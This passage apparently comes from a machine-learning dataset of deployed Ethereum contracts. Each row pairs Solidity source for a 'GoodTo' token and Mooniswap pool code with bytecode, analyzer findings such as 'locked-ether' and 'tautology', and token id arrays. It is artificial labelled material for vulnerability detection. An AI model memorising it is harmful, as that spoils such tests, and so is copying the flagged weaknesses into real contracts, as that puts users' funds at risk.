2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600192915050565b60065481565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b60008282018381101561088857fe5b9392505050565b60008183101561089b57fe5b509003905600a165627a7a7230582095132a7cfbd2a155a264a2bb4e4f4b5142a87726213e7536c9df2aa1769bae010029
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2629, 2278, 2683, 2497, 2094, 2487, 2546, 2620, 2487, 3401, 2063, 2581, 23499, 2487, 2850, 2509, 5243, 2278, 2620, 16048, 2683, 2509, 2063, 16086, 2546, 16703, 2683, 2475, 2278, 2487, 2063, 2692, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2603, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 29464, 11890, 11387, 18715, 2368, 1011, 9413, 2278, 11387, 8278, 1008, 1030, 16475, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 3314, 1013, 2322, 1008, 1013, 3206, 29464, 11890, 11387, 18715, 2368, 1063, 5164, 2270, 2171, 1025, 5164, 2270, 6454, 1025, 21318, 3372, 2620, 2270, 26066, 2015, 1025, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 22086, 1025, 3853, 5703, 11253, 1006, 4769, 1035, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,836
0x95c9c35678c0b54008b1e3a2b0ea1730fa7dbd06
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract GoodTo { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function GoodTo( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } } contract StandardToken is owned, GoodTo { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function StandardToken( uint256 initialSupply, string tokenName, string tokenSymbol ) GoodTo(initialSupply, tokenName, tokenSymbol) public {} function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value > balanceOf[_to]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); } function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } function buy() payable public { uint amount = msg.value / buyPrice; _transfer(this, msg.sender, amount); } function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); _transfer(msg.sender, this, amount); msg.sender.transfer(amount * sellPrice); } }
0x6060604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014d57806318160ddd146101a757806323b872dd146101d0578063313ce5671461024957806342966c681461027857806370a08231146102b357806379cc67901461030057806395d89b411461035a578063a9059cbb146103e8578063cae9ca511461042a578063dd62ed3e146104c7575b600080fd5b34156100ca57600080fd5b6100d2610533565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101125780820151818401526020810190506100f7565b50505050905090810190601f16801561013f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015857600080fd5b61018d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105d1565b604051808215151515815260200191505060405180910390f35b34156101b257600080fd5b6101ba61065e565b6040518082815260200191505060405180910390f35b34156101db57600080fd5b61022f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610664565b604051808215151515815260200191505060405180910390f35b341561025457600080fd5b61025c610791565b604051808260ff1660ff16815260200191505060405180910390f35b341561028357600080fd5b61029960048080359060200190919050506107a4565b604051808215151515815260200191505060405180910390f35b34156102be57600080fd5b6102ea600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108a8565b6040518082815260200191505060405180910390f35b341561030b57600080fd5b610340600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108c0565b604051808215151515815260200191505060405180910390f35b341561036557600080fd5b61036d610ada565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ad578082015181840152602081019050610392565b50505050905090810190601f1680156103da5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103f357600080fd5b610428600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b78565b005b341561043557600080fd5b6104ad600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610b87565b604051808215151515815260200191505060405180910390f35b34156104d257600080fd5b61051d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d05565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c95780601f1061059e576101008083540402835291602001916105c9565b820191906000526020600020905b8154815290600101906020018083116105ac57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60035481565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106f157600080fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610786848484610d2a565b600190509392505050565b600260009054906101000a900460ff1681565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156107f457600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60046020528060005260406000206000915090505481565b600081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561091057600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561099b57600080fd5b81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b705780601f10610b4557610100808354040283529160200191610b70565b820191906000526020600020905b815481529060010190602001808311610b5357829003601f168201915b505050505081565b610b83338383610d2a565b5050565b600080849050610b9785856105d1565b15610cfc578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610c91578082015181840152602081019050610c76565b50505050905090810190601f168015610cbe5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610cdf57600080fd5b6102c65a03f11515610cf057600080fd5b50505060019150610cfd565b5b509392505050565b6005602052816000526040600020602052806000526040600020600091509150505481565b6000808373ffffffffffffffffffffffffffffffffffffffff1614151515610d5157600080fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610d9f57600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111515610e2d57600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540114151561103a57fe5b505050505600a165627a7a7230582043cfa6c137ba5e44903ea7b1f9e08afb6df0bd907d9d829143122e7f8c5be52e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2629, 2278, 2683, 2278, 19481, 2575, 2581, 2620, 2278, 2692, 2497, 27009, 8889, 2620, 2497, 2487, 2063, 2509, 2050, 2475, 2497, 2692, 5243, 16576, 14142, 7011, 2581, 18939, 2094, 2692, 2575, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2385, 1025, 3206, 3079, 1063, 4769, 2270, 3954, 1025, 3853, 3079, 1006, 1007, 2270, 1063, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 16913, 18095, 2069, 12384, 2121, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 3954, 1007, 1025, 1035, 1025, 1065, 3853, 4651, 12384, 2545, 5605, 1006, 4769, 2047, 12384, 2121, 1007, 2069, 12384, 2121, 2270, 1063, 3954, 1027, 2047, 12384, 2121, 1025, 1065, 1065, 8278, 19204, 2890, 6895, 14756, 3372, 1063, 3853, 4374, 29098, 12298, 2389, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,837
0x95Cab00a5E2CCFa6C9eEe1BeF621454E64243388
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./interfaces/IFeeCollector.sol"; import "./libraries/UniERC20.sol"; import "./libraries/Sqrt.sol"; import "./libraries/VirtualBalance.sol"; import "./governance/MooniswapGovernance.sol"; contract Mooniswap is MooniswapGovernance { using Sqrt for uint256; using SafeMath for uint256; using UniERC20 for IERC20; using VirtualBalance for VirtualBalance.Data; struct Balances { uint256 src; uint256 dst; } struct SwapVolumes { uint128 confirmed; uint128 result; } struct Fees { uint256 fee; uint256 slippageFee; } event Error(string reason); event Deposited( address indexed sender, address indexed receiver, uint256 share, uint256 token0Amount, uint256 token1Amount ); event Withdrawn( address indexed sender, address indexed receiver, uint256 share, uint256 token0Amount, uint256 token1Amount ); event Swapped( address indexed sender, address indexed receiver, address indexed srcToken, address dstToken, uint256 amount, uint256 result, uint256 srcAdditionBalance, uint256 dstRemovalBalance, address referral ); event Sync( uint256 srcBalance, uint256 dstBalance, uint256 fee, uint256 slippageFee, uint256 referralShare, uint256 governanceShare ); uint256 private constant _BASE_SUPPLY = 1000; // Total supply on first deposit IERC20 public immutable token0; IERC20 public immutable token1; mapping(IERC20 => SwapVolumes) public volumes; mapping(IERC20 => VirtualBalance.Data) public virtualBalancesForAddition; mapping(IERC20 => VirtualBalance.Data) public virtualBalancesForRemoval; modifier whenNotShutdown { require(mooniswapFactoryGovernance.isActive(), "Mooniswap: factory shutdown"); _; } constructor( IERC20 _token0, IERC20 _token1, string memory name, string memory symbol, IMooniswapFactoryGovernance _mooniswapFactoryGovernance ) public ERC20(name, symbol) MooniswapGovernance(_mooniswapFactoryGovernance) { require(bytes(name).length > 0, "Mooniswap: name is empty"); require(bytes(symbol).length > 0, "Mooniswap: symbol is empty"); require(_token0 != _token1, "Mooniswap: duplicate tokens"); token0 = _token0; token1 = _token1; } function getTokens() external view returns(IERC20[] memory tokens) { tokens = new IERC20[](2); tokens[0] = token0; tokens[1] = token1; } function tokens(uint256 i) external view returns(IERC20) { if (i == 0) { return token0; } else if (i == 1) { return token1; } else { revert("Pool has two tokens"); } } function getBalanceForAddition(IERC20 token) public view returns(uint256) { uint256 balance = token.uniBalanceOf(address(this)); return Math.max(virtualBalancesForAddition[token].current(decayPeriod(), balance), balance); } function getBalanceForRemoval(IERC20 token) public view returns(uint256) { uint256 balance = token.uniBalanceOf(address(this)); return Math.min(virtualBalancesForRemoval[token].current(decayPeriod(), balance), balance); } function getReturn(IERC20 src, IERC20 dst, uint256 amount) external view returns(uint256) { return _getReturn(src, dst, amount, getBalanceForAddition(src), getBalanceForRemoval(dst), fee(), slippageFee()); } function deposit(uint256[2] memory maxAmounts, uint256[2] memory minAmounts) external payable returns(uint256 fairSupply, uint256[2] memory receivedAmounts) { return depositFor(maxAmounts, minAmounts, msg.sender); } function depositFor(uint256[2] memory maxAmounts, uint256[2] memory minAmounts, address target) public payable nonReentrant returns(uint256 fairSupply, uint256[2] memory receivedAmounts) { IERC20[2] memory _tokens = [token0, token1]; require(msg.value == (_tokens[0].isETH() ? maxAmounts[0] : (_tokens[1].isETH() ? maxAmounts[1] : 0)), "Mooniswap: wrong value usage"); uint256 totalSupply = totalSupply(); if (totalSupply == 0) { fairSupply = _BASE_SUPPLY.mul(99); _mint(address(this), _BASE_SUPPLY); // Donate up to 1% for (uint i = 0; i < maxAmounts.length; i++) { fairSupply = Math.max(fairSupply, maxAmounts[i]); require(maxAmounts[i] > 0, "Mooniswap: amount is zero"); require(maxAmounts[i] >= minAmounts[i], "Mooniswap: minAmount not reached"); _tokens[i].uniTransferFrom(msg.sender, address(this), maxAmounts[i]); receivedAmounts[i] = maxAmounts[i]; } } else { uint256[2] memory realBalances; for (uint i = 0; i < realBalances.length; i++) { realBalances[i] = _tokens[i].uniBalanceOf(address(this)).sub(_tokens[i].isETH() ? msg.value : 0); } // Pre-compute fair supply fairSupply = type(uint256).max; for (uint i = 0; i < maxAmounts.length; i++) { fairSupply = Math.min(fairSupply, totalSupply.mul(maxAmounts[i]).div(realBalances[i])); } uint256 fairSupplyCached = fairSupply; for (uint i = 0; i < maxAmounts.length; i++) { require(maxAmounts[i] > 0, "Mooniswap: amount is zero"); uint256 amount = realBalances[i].mul(fairSupplyCached).add(totalSupply - 1).div(totalSupply); require(amount >= minAmounts[i], "Mooniswap: minAmount not reached"); _tokens[i].uniTransferFrom(msg.sender, address(this), amount); receivedAmounts[i] = _tokens[i].uniBalanceOf(address(this)).sub(realBalances[i]); fairSupply = Math.min(fairSupply, totalSupply.mul(receivedAmounts[i]).div(realBalances[i])); } uint256 _decayPeriod = decayPeriod(); // gas savings for (uint i = 0; i < maxAmounts.length; i++) { virtualBalancesForRemoval[_tokens[i]].scale(_decayPeriod, realBalances[i], totalSupply.add(fairSupply), totalSupply); virtualBalancesForAddition[_tokens[i]].scale(_decayPeriod, realBalances[i], totalSupply.add(fairSupply), totalSupply); } } require(fairSupply > 0, "Mooniswap: result is not enough"); _mint(target, fairSupply); emit Deposited(msg.sender, target, fairSupply, receivedAmounts[0], receivedAmounts[1]); } function withdraw(uint256 amount, uint256[] memory minReturns) external returns(uint256[2] memory withdrawnAmounts) { return withdrawFor(amount, minReturns, msg.sender); } function withdrawFor(uint256 amount, uint256[] memory minReturns, address payable target) public nonReentrant returns(uint256[2] memory withdrawnAmounts) { IERC20[2] memory _tokens = [token0, token1]; uint256 totalSupply = totalSupply(); uint256 _decayPeriod = decayPeriod(); // gas savings _burn(msg.sender, amount); for (uint i = 0; i < _tokens.length; i++) { IERC20 token = _tokens[i]; uint256 preBalance = token.uniBalanceOf(address(this)); uint256 value = preBalance.mul(amount).div(totalSupply); token.uniTransfer(target, value); withdrawnAmounts[i] = value; require(i >= minReturns.length || value >= minReturns[i], "Mooniswap: result is not enough"); virtualBalancesForAddition[token].scale(_decayPeriod, preBalance, totalSupply.sub(amount), totalSupply); virtualBalancesForRemoval[token].scale(_decayPeriod, preBalance, totalSupply.sub(amount), totalSupply); } emit Withdrawn(msg.sender, target, amount, withdrawnAmounts[0], withdrawnAmounts[1]); } function swap(IERC20 src, IERC20 dst, uint256 amount, uint256 minReturn, address referral) external payable returns(uint256 result) { return swapFor(src, dst, amount, minReturn, referral, msg.sender); } function swapFor(IERC20 src, IERC20 dst, uint256 amount, uint256 minReturn, address referral, address payable receiver) public payable nonReentrant whenNotShutdown returns(uint256 result) { require(msg.value == (src.isETH() ? amount : 0), "Mooniswap: wrong value usage"); Balances memory balances = Balances({ src: src.uniBalanceOf(address(this)).sub(src.isETH() ? msg.value : 0), dst: dst.uniBalanceOf(address(this)) }); uint256 confirmed; Balances memory virtualBalances; Fees memory fees = Fees({ fee: fee(), slippageFee: slippageFee() }); (confirmed, result, virtualBalances) = _doTransfers(src, dst, amount, minReturn, receiver, balances, fees); emit Swapped(msg.sender, receiver, address(src), address(dst), confirmed, result, virtualBalances.src, virtualBalances.dst, referral); _mintRewards(confirmed, result, referral, balances, fees); // Overflow of uint128 is desired volumes[src].confirmed += uint128(confirmed); volumes[src].result += uint128(result); } function _doTransfers(IERC20 src, IERC20 dst, uint256 amount, uint256 minReturn, address payable receiver, Balances memory balances, Fees memory fees) private returns(uint256 confirmed, uint256 result, Balances memory virtualBalances) { uint256 _decayPeriod = decayPeriod(); virtualBalances.src = virtualBalancesForAddition[src].current(_decayPeriod, balances.src); virtualBalances.src = Math.max(virtualBalances.src, balances.src); virtualBalances.dst = virtualBalancesForRemoval[dst].current(_decayPeriod, balances.dst); virtualBalances.dst = Math.min(virtualBalances.dst, balances.dst); src.uniTransferFrom(msg.sender, address(this), amount); confirmed = src.uniBalanceOf(address(this)).sub(balances.src); result = _getReturn(src, dst, confirmed, virtualBalances.src, virtualBalances.dst, fees.fee, fees.slippageFee); require(result > 0 && result >= minReturn, "Mooniswap: return is not enough"); dst.uniTransfer(receiver, result); // Update virtual balances to the same direction only at imbalanced state if (virtualBalances.src != balances.src) { virtualBalancesForAddition[src].set(virtualBalances.src.add(confirmed)); } if (virtualBalances.dst != balances.dst) { virtualBalancesForRemoval[dst].set(virtualBalances.dst.sub(result)); } // Update virtual balances to the opposite direction virtualBalancesForRemoval[src].update(_decayPeriod, balances.src); virtualBalancesForAddition[dst].update(_decayPeriod, balances.dst); } function _mintRewards(uint256 confirmed, uint256 result, address referral, Balances memory balances, Fees memory fees) private { (uint256 referralShare, uint256 governanceShare, address govWallet, address feeCollector) = mooniswapFactoryGovernance.shareParameters(); uint256 refReward; uint256 govReward; uint256 invariantRatio = uint256(1e36); invariantRatio = invariantRatio.mul(balances.src.add(confirmed)).div(balances.src); invariantRatio = invariantRatio.mul(balances.dst.sub(result)).div(balances.dst); if (invariantRatio > 1e36) { // calculate share only if invariant increased invariantRatio = invariantRatio.sqrt(); uint256 invIncrease = totalSupply().mul(invariantRatio.sub(1e18)).div(invariantRatio); refReward = (referral != address(0)) ? invIncrease.mul(referralShare).div(MooniswapConstants._FEE_DENOMINATOR) : 0; govReward = (govWallet != address(0)) ? invIncrease.mul(governanceShare).div(MooniswapConstants._FEE_DENOMINATOR) : 0; if (feeCollector == address(0)) { if (refReward > 0) { _mint(referral, refReward); } if (govReward > 0) { _mint(govWallet, govReward); } } else if (refReward > 0 || govReward > 0) { uint256 len = (refReward > 0 ? 1 : 0) + (govReward > 0 ? 1 : 0); address[] memory wallets = new address[](len); uint256[] memory rewards = new uint256[](len); wallets[0] = referral; rewards[0] = refReward; if (govReward > 0) { wallets[len - 1] = govWallet; rewards[len - 1] = govReward; } try IFeeCollector(feeCollector).updateRewards(wallets, rewards) { _mint(feeCollector, refReward.add(govReward)); } catch { emit Error("updateRewards() failed"); } } } emit Sync(balances.src, balances.dst, fees.fee, fees.slippageFee, refReward, govReward); } /* spot_ret = dx * y / x uni_ret = dx * y / (x + dx) slippage = (spot_ret - uni_ret) / spot_ret slippage = dx * dx * y / (x * (x + dx)) / (dx * y / x) slippage = dx / (x + dx) ret = uni_ret * (1 - slip_fee * slippage) ret = dx * y / (x + dx) * (1 - slip_fee * dx / (x + dx)) ret = dx * y / (x + dx) * (x + dx - slip_fee * dx) / (x + dx) x = amount * denominator dx = amount * (denominator - fee) */ function _getReturn(IERC20 src, IERC20 dst, uint256 amount, uint256 srcBalance, uint256 dstBalance, uint256 fee, uint256 slippageFee) internal view returns(uint256) { if (src > dst) { (src, dst) = (dst, src); } if (amount > 0 && src == token0 && dst == token1) { uint256 taxedAmount = amount.sub(amount.mul(fee).div(MooniswapConstants._FEE_DENOMINATOR)); uint256 srcBalancePlusTaxedAmount = srcBalance.add(taxedAmount); uint256 ret = taxedAmount.mul(dstBalance).div(srcBalancePlusTaxedAmount); uint256 feeNumerator = MooniswapConstants._FEE_DENOMINATOR.mul(srcBalancePlusTaxedAmount).sub(slippageFee.mul(taxedAmount)); uint256 feeDenominator = MooniswapConstants._FEE_DENOMINATOR.mul(srcBalancePlusTaxedAmount); return ret.mul(feeNumerator).div(feeDenominator); } } function rescueFunds(IERC20 token, uint256 amount) external nonReentrant onlyOwner { uint256 balance0 = token0.uniBalanceOf(address(this)); uint256 balance1 = token1.uniBalanceOf(address(this)); token.uniTransfer(msg.sender, amount); require(token0.uniBalanceOf(address(this)) >= balance0, "Mooniswap: access denied"); require(token1.uniBalanceOf(address(this)) >= balance1, "Mooniswap: access denied"); require(balanceOf(address(this)) >= _BASE_SUPPLY, "Mooniswap: access denied"); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "./interfaces/IMooniswapDeployer.sol"; import "./interfaces/IMooniswapFactory.sol"; import "./libraries/UniERC20.sol"; import "./Mooniswap.sol"; import "./governance/MooniswapFactoryGovernance.sol"; contract MooniswapFactory is IMooniswapFactory, MooniswapFactoryGovernance { using UniERC20 for IERC20; event Deployed( Mooniswap indexed mooniswap, IERC20 indexed token1, IERC20 indexed token2 ); IMooniswapDeployer public immutable mooniswapDeployer; address public immutable poolOwner; Mooniswap[] public allPools; mapping(Mooniswap => bool) public override isPool; mapping(IERC20 => mapping(IERC20 => Mooniswap)) private _pools; constructor (address _poolOwner, IMooniswapDeployer _mooniswapDeployer, address _governanceMothership) public MooniswapFactoryGovernance(_governanceMothership) { poolOwner = _poolOwner; mooniswapDeployer = _mooniswapDeployer; } function getAllPools() external view returns(Mooniswap[] memory) { return allPools; } function pools(IERC20 tokenA, IERC20 tokenB) external view override returns (Mooniswap pool) { (IERC20 token1, IERC20 token2) = sortTokens(tokenA, tokenB); return _pools[token1][token2]; } function deploy(IERC20 tokenA, IERC20 tokenB) public returns(Mooniswap pool) { require(tokenA != tokenB, "Factory: not support same tokens"); (IERC20 token1, IERC20 token2) = sortTokens(tokenA, tokenB); require(_pools[token1][token2] == Mooniswap(0), "Factory: pool already exists"); string memory symbol1 = token1.uniSymbol(); string memory symbol2 = token2.uniSymbol(); pool = mooniswapDeployer.deploy( token1, token2, string(abi.encodePacked("1inch Liquidity Pool (", symbol1, "-", symbol2, ")")), string(abi.encodePacked("1LP-", symbol1, "-", symbol2)), poolOwner ); _pools[token1][token2] = pool; allPools.push(pool); isPool[pool] = true; emit Deployed(pool, token1, token2); } function sortTokens(IERC20 tokenA, IERC20 tokenB) public pure returns(IERC20, IERC20) { if (tokenA < tokenB) { return (tokenA, tokenB); } return (tokenB, tokenA); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../interfaces/IGovernanceModule.sol"; abstract contract BaseGovernanceModule is IGovernanceModule { address public immutable mothership; modifier onlyMothership { require(msg.sender == mothership, "Access restricted to mothership"); _; } constructor(address _mothership) public { mothership = _mothership; } function notifyStakesChanged(address[] calldata accounts, uint256[] calldata newBalances) external override onlyMothership { require(accounts.length == newBalances.length, "Arrays length should be equal"); for(uint256 i = 0; i < accounts.length; ++i) { _notifyStakeChanged(accounts[i], newBalances[i]); } } function notifyStakeChanged(address account, uint256 newBalance) external override onlyMothership { _notifyStakeChanged(account, newBalance); } function _notifyStakeChanged(address account, uint256 newBalance) internal virtual; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Pausable.sol"; import "../interfaces/IMooniswapFactoryGovernance.sol"; import "../libraries/ExplicitLiquidVoting.sol"; import "../libraries/MooniswapConstants.sol"; import "../libraries/SafeCast.sol"; import "../utils/BalanceAccounting.sol"; import "./BaseGovernanceModule.sol"; contract MooniswapFactoryGovernance is IMooniswapFactoryGovernance, BaseGovernanceModule, BalanceAccounting, 